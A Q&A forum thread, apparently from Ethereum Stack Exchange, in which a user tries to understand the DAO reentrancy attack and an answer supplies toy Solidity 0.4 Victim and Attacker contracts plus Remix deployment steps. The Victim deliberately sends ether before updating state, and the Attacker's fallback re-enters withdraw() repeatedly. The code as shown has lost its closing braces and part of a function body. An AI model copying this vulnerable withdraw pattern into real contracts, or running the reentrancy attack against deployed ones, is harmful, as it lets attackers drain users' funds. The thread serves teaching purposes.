Here I am trying to invoke fallback function of A .Is it the right ? I am trying to understand the DAO attack by simple programs.

I need to send B's contract address in constructor A() .

pragma solidity ^0.4.8;

contract A {

    address destAdd;

    function A(address sendContractAddress)  {
        destAdd = sendContractAddress;

    function () {
        uint transferAmt= this.balance;
        if (!msg.sender.call.value(transferAmt)()) throw; 

contract B {

    function() {

            // invoke fallback function of A
            bool ret = msg.sender.call('0xabcdefgh');
            if (!ret) throw;

1 Answer 1


The send() in A looks okay. I got a little confused and started hacking at it. Working now.

I added a deposit() function so we can fund the "victim", reduced the transfer amount so it doesn't grab everything on the first pass, and added a counter so the attacker stops before the transaction runs out of the gas. Lastly, added an event emitter so it's easy to see the flow.

  1. Deploy the victim, then the attacker with the victim's address.
  2. Deposit some funds in the victim with deposit().
  3. Call the attacker's attack() function.

Notice the event emitter in the attacker's fallback function fires 10 times.

pragma solidity ^0.4.8;

contract Victim {

    function withdraw() {
        uint transferAmt= 11;  // just a little so we can follow flow control 
        if (!msg.sender.call.value(transferAmt)()) throw; 

    // deposit some funds to work with
    function deposit() payable {}

contract Attacker {

    Victim v;
    uint public count;

    event LogFallback(uint count, uint balance);

    function Attacker(address victim) {
        v = Victim(victim);

    function attack() {

    function () payable {
        LogFallback(count, this.balance);
        // crude stop before we run out of gas
        if(count < 10) v.withdraw();


A storyboard from Remix to show it works.

enter image description here

enter image description here

Hope it helps.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.